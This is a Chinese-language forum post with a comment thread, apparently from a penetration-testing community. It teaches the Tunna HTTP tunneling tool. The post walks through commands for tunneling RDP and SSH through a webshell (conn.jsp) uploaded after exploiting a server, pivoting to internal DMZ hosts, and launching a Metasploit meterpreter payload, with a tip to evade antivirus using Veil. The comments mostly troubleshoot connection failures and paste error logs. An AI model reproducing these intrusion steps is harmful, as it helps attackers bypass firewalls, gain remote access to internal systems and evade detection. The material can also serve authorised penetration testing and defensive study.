原理:就是个HTTP tunneling工具
#!php
+-------------------------------------------+ +-------------------------------------------+
| Local Host | | Remote Host |
|-------------------------------------------| |-------------------------------------------|
| +----------+ +------------+ | +-------------+ | +------------+ +----------+ |
| |Client App|+----->|Local Proxy |<==========| Firewall |======>| Webshell |+------>|Server App| |
| +----------+ +------------+ | +-------------+ | +------------+ +----------+ |
+-------------------------------------------+ +------------------------------------------ +
可以看出该工具先使用proxy.py监听本地一个端口,然后连接部署在远程WEB的webshell,远端的webshell会把端口转发请求转发到本地或者本地内网远程的主机,从而实现HTTP tunneling.这对于内网入侵来说,是很有用的一个工具.
该工具看起来是不是有似曾相识的感觉,恩.其实和reduh原理是一样的,不过tunna更稳定,速度更快.
下载地址是:http://www.secforce.com/media/tools/tunna_v0.1.zip
下面讲解4个实例,就能掌握该工具使用方法了.
实例1:
网站对外只开放了80端口,其他的端口都是关闭的,通过CVE-2013-225得到JSP的WEBSHELL后,上传conn.jsp,做转发,实现连接本机的其他端口.
直接扫描发现3389是关闭的
[email protected]:~# nmap -sS -p3389 219.x.x.x
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-26 22:47 EDT
Nmap scan report for 219.x.x.x
Host is up (0.0088s latency).
PORT STATE SERVICE
3389/tcp close
通过webshell上传conn.jsp到主机上,本地开始连接
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
参数含义如下:
-l 表示本地监听的端口
-r 远程要转发的端口
-v 详细模式
然后本地执行
rdesktop 127.0.0.1:1234
就可以连接到目标的3389了
实例2:
对于有些服务,比如SSH,还需要添加-s参数,才能保证连接的时候不会中断.
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 22 -v -s
ssh localhost -p 1234
实例3:
场景:已经得到DMZ区的一台主机的JSPSHELL,该主机的内网IP是172.16.100.20,通过查点,发现DMZ区还有其他的主机(172.16.100.20),并且开放了3389,我们想利用HTTP tunneling,连接到172.16.100.20的3389,命令如下
python2.7 proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389
这里多了一个-a参数,意义是要转发的IP
实例4:
对于喜欢metasploit的朋友,该工具也支持,不过如果对方有杀软的话,建议先用veil做好meterpreter的免杀.
首先把tunna_exploit.rb拷贝到msf的modules/exploits/windows/misc目录.
cp ~/tunna_exploit.rb /root/metasploit-framework/modules/exploits/windows/misc
然后开始利用
msf > use exploit/windows/misc/tunna_exploit
msf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(tunna_exploit) > set RHOST 1.3.3.7 <-- 注意这里是指本地的公网IP
RHOST => 1.3.3.7
msf exploit(tunna_exploit) > set TARGETURI http://219.x.x.x:8080/conn.jsp
TARGETURI => http://219.x.x.x:8080/conn.jsp
msf exploit(tunna_exploit) > set VERBOSE true
VERBOSE => true
msf exploit(tunna_exploit) > exploit -j
tunna除了支持jsp还支持以下环境和脚本
conn.jsp Tested on Apache Tomcat (windows + linux) conn.aspx Tested on IIS 6+8 (windows server 2003/2012) conn.php Tested on LAMP + XAMPP + IIS (windows + linux)
使用的时候需要注意:metasploit里的脚本只对应metasploit使用.
@爱上平顶山 你的问题怎么解决的???
@爱上平顶山 我也遇到了一样的情况,你解决的吗,说下
目标环境:win2003+tomcat
问题:一连接就出错了
[+] Local Proxy listening at localhost:1234
Remote service to connect to at remotehost:3389
[Server] All good to go, ensure the listener is working ;-)
[+] Spawning keep-alive thread
[-] Keep-alive thread not required
[+] Connected from ('127.0.0.1', 24595)
[+] Starting Ping thread
[-] Disconnected
[Server] Closing the connection
连接rdp,mssql,mysql都会断开。怎么破?
[+] Local Proxy listening at localhost:8888
Remote service to connect to at remotehost:22
[Server] All good to go, ensure the listener is working ;-)
[+] Spawning keep-alive thread
[OK]
[-] Keep-alive thread exited
[Server] Closing the connection
连上后立刻断掉,这是什么情况?
确实连不上。。 22 3389都连不上
涨姿势!!
Mark
erver] All good to go, ensure the listener is working ;-)
] Spawning keep-alive thread
] Keep-alive thread not required
] Connected from ('127.0.0.1', 57495)
] Starting Ping thread
2J[HReceived Data: 0 (0)
ceived Data From Ping Thread: 0 (0)
nt data: 19 (19)
ngs sent: 0
2J[HReceived Data: 0 (0)
ceived Data From Ping Thread: 0 (0)
nt data: 19 (0)
ngs sent: 1
2J[HReceived Data: 0 (0)
ceived Data From Ping Thread: 19 (19)
nt data: 19 (0)
ngs sent: 1
] Disconnected
erver] Killing the handler thread
\Users\Kevini>python D:\release\proxy.py -u http://jczx.
aspx -l 1234 -r 3389 -v -s
php的3389转发不知道什么原因总是连不上(猜测是集成环境的原因),ssh的倒是可以。
额 试了一下 我的也是立马断的效果
今天试了下,压根连不上……立马掉
楼主辛苦了,赞一个。
jsp连接ssh挺稳定的。
但连接aspx和楼上一样的情况,404:not found。
连接php,wamp的,连接就掉,。Fatal error: Call to undefined function socket_create() in E:绝对路径
为什么非常不稳定? 刚连上就断掉了,根本没法用
C:\Users\W\Desktop731TMP\tunna_0.1\release>proxy.py -u http://xxx.xxx.xxx.xxx/c
onn.aspx -l 80 -r 3389 -s -v
[+] Local Proxy listening at localhost:80
Remote service to connect to at remotehost:3389
[Server] All good to go, ensure the listener is working ;-)
[+] Spawning keep-alive thread
[-] Keep-alive thread not required
('[+] Connected from', ('127.0.0.1', 51454))
[+] Starting Ping thread
[2J[HReceived Data: 0 (0)
Received Data From Ping Thread: 0 (0)
Sent data: 19 (19)
Pings sent: 0
[2J[HReceived Data: 19 (19)
Received Data From Ping Thread: 0 (0)
Sent data: 19 (0)
Pings sent: 0
[-] Disconnected
[2J[HReceived Data: 19 (0)
Received Data From Ping Thread: 0 (0)
Sent data: 19 (0)
Pings sent: 1
[Server] Killing the handler thread
本机测试遇到这样的情况,请问前辈遇到过吗?
COOL
报的那些错误时是什么情况呢。
新一代。。。估计你还没玩hack的时候,Mickey就是国内的知名人士了。。
删除compress.zlib://就ok。
Warning: file_get_contents(compress.zlib://php://input) [function.file-get-contents]: failed to open stream: Inappropriate ioctl for device in /var/www/conn.php on line 138
主要问题出在这个地方。
该工具使用报错,大牛能解决一下不?
很牛逼的样子
HTTP Error 404: Not Found
很牛逼的样子哈 学习学习 mark
楼主 求解答:
Remote service to connect to at remotehost:22
Traceback (most recent call last):
File "proxy.py", line 252, in
main()
File "proxy.py", line 243, in main
setup_tunnel()
File "proxy.py", line 120, in setup_tunnel
print opener.open(url).read()
File "E:\Python27\lib\urllib2.py", line 400, in open
response = meth(req, response)
File "E:\Python27\lib\urllib2.py", line 513, in http_response
'http', request, response, code, msg, hdrs)
File "E:\Python27\lib\urllib2.py", line 438, in error
return self._call_chain(*args)
File "E:\Python27\lib\urllib2.py", line 372, in _call_chain
result = func(*args)
File "E:\Python27\lib\urllib2.py", line 521, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 404: Not Found
靠 这个一定要
学习了!
mickey兄是新一代的渗透高手!
马克
不错啊